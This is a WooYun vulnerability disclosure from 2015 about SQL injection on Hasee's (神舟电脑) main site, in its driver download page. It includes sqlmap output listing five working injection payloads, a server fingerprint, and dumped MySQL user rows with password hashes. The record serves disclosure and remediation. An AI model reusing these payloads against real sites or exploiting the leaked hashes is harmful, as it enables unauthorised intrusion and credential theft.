当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158478

漏洞标题:神舟电脑主站SQL注入

相关厂商:神舟电脑

漏洞作者: 路人甲

提交时间:2015-12-06 02:42

修复时间:2016-01-23 15:16

公开时间:2016-01-23 15:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-06: 细节已通知厂商并且等待厂商处理中
2015-12-10: 厂商已经确认,细节仅向厂商公开
2015-12-20: 细节向核心白帽子及相关领域专家公开
2015-12-30: 细节向普通白帽子公开
2016-01-09: 细节向实习白帽子公开
2016-01-23: 细节向公众公开

简要描述:

主站sql注入

详细说明:

http://**.**.**.**/Chinese/drivers/drivers/index.php/Download/Index/model.html?id=107'


1.png


可惜爆出的路径乱码了,后面的utf-8编码为神舟电脑,但是也不全

[12:13:08] [INFO] resuming back-end DBMS 'mysql'
[12:13:08] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=107) AND 7758=7758 AND (2121=2121
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=107) AND (SELECT 6395 FROM(SELECT COUNT(*),CONCAT(0x7178706b71,(SELECT (ELT(6395=6395,1))),0x717a706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (3207=3207
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: id=107);(SELECT * FROM (SELECT(SLEEP(5)))LsoB)#
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=107) AND (SELECT * FROM (SELECT(SLEEP(5)))bBHn) AND (8469=8469
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-3340) UNION ALL SELECT CONCAT(0x7178706b71,0x71484b7867577074504b,0x717a706271),NULL,NULL--
---
[12:13:11] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5
back-end DBMS: MySQL 5.0
[12:13:11] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'
[*] shutting down at 12:13:11


还是第一次见到支持堆叠查询的sql注入

select user,password,host from mysql.user [4]:
[*] driver, *526ABB24F5210EA487ADB579B111CD834BA036C6, %
[*] root, *526ABB24F5210EA487ADB579B111CD834BA036C6, **.**.**.**
[*] root, *526ABB24F5210EA487ADB579B111CD834BA036C6, ::1
[*] root, *B751D70DD9EF3282D07FAB1179B17D159622478C, localhost

漏洞证明:

select user,password,host from mysql.user [4]:
[*] driver, *526ABB24F5210EA487ADB579B111CD834BA036C6, %
[*] root, *526ABB24F5210EA487ADB579B111CD834BA036C6, **.**.**.**
[*] root, *526ABB24F5210EA487ADB579B111CD834BA036C6, ::1
[*] root, *B751D70DD9EF3282D07FAB1179B17D159622478C, localhost

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-10 11:33

厂商回复:

CNVD未直接复现所述情况,已由CNVD通过网站管理方公开联系渠道向其邮件通报,由其后续提供解决方案。

最新状态:

暂无